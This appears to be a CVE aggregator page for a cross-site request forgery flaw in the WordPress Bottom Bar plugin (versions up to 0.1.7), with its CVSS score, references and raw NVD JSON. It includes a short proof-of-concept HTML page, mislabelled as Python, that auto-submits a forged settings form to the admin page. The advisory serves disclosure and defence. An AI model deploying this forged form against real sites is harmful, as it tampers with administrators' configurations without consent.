CVE-2026-6401

Description

The Bottom Bar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 0.1.7. This is due to missing nonce verification on the plugin's settings update forms handled in bottom-bar-admin.php. None of the three settings forms (main settings, sharing services, restore defaults) include a wp_nonce_field(), and the server-side processing code never calls check_admin_referer() or any equivalent nonce validation before processing POST data and calling update_option(). This makes it possible for unauthenticated attackers to trick a logged-in administrator into submitting a crafted request that updates plugin configuration options, such as changing the language, maximum post counts, or enabled sharing services.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Bottom Bar Plugin <= 0.1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-6401
Exploiting CSRF in WordPress Bottom Bar Plugin <= 0.1.7
-->
<html>
  <body>
    <!-- Form targeting the vulnerable admin page -->
    <form action="http://<target-ip>/wp-admin/admin.php?page=bottom-bar-admin.php" method="POST">
      <input type="hidden" name="bottom_bar_language" value="hacked" />
      <input type="hidden" name="bottom_bar_max_posts" value="0" />
      <input type="submit" value="Click me to win" />
    </form>
    <script>
      // Auto-submit to trigger the action without user interaction awareness
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6401
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6401
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6401/
[4] VulDB https://vuldb.com/cve/CVE-2026-6401
[5] https://plugins.trac.wordpress.org/browser/bottom-bar/tags/0.1.7/bottom-bar-admin.php#L16
[6] https://plugins.trac.wordpress.org/browser/bottom-bar/tags/0.1.7/bottom-bar-admin.php#L59
[7] https://plugins.trac.wordpress.org/browser/bottom-bar/trunk/bottom-bar-admin.php#L16
[8] https://plugins.trac.wordpress.org/browser/bottom-bar/trunk/bottom-bar-admin.php#L59
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/db0715ed-a06e-4a68-b9c3-408887cae113?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6401", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:38.213", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bottom Bar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 0.1.7. This is due to missing nonce verification on the plugin's settings update forms handled in bottom-bar-admin.php. None of the three settings forms (main settings, sharing services, restore defaults) include a wp_nonce_field(), and the server-side processing code never calls check_admin_referer() or any equivalent nonce validation before processing POST data and calling update_option(). This makes it possible for unauthenticated attackers to trick a logged-in administrator into submitting a crafted request that updates plugin configuration options, such as changing the language, maximum post counts, or enabled sharing services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bottom-bar/tags/0.1.7/bottom-bar-admin.php#L16", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bottom-bar/tags/0.1.7/bottom-bar-admin.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bottom-bar/trunk/bottom-bar-admin.php#L16", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bottom-bar/trunk/bottom-bar-admin.php#L59", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/db0715ed-a06e-4a68-b9c3-408887cae113?source=cve", "source": "[email protected]"}]}}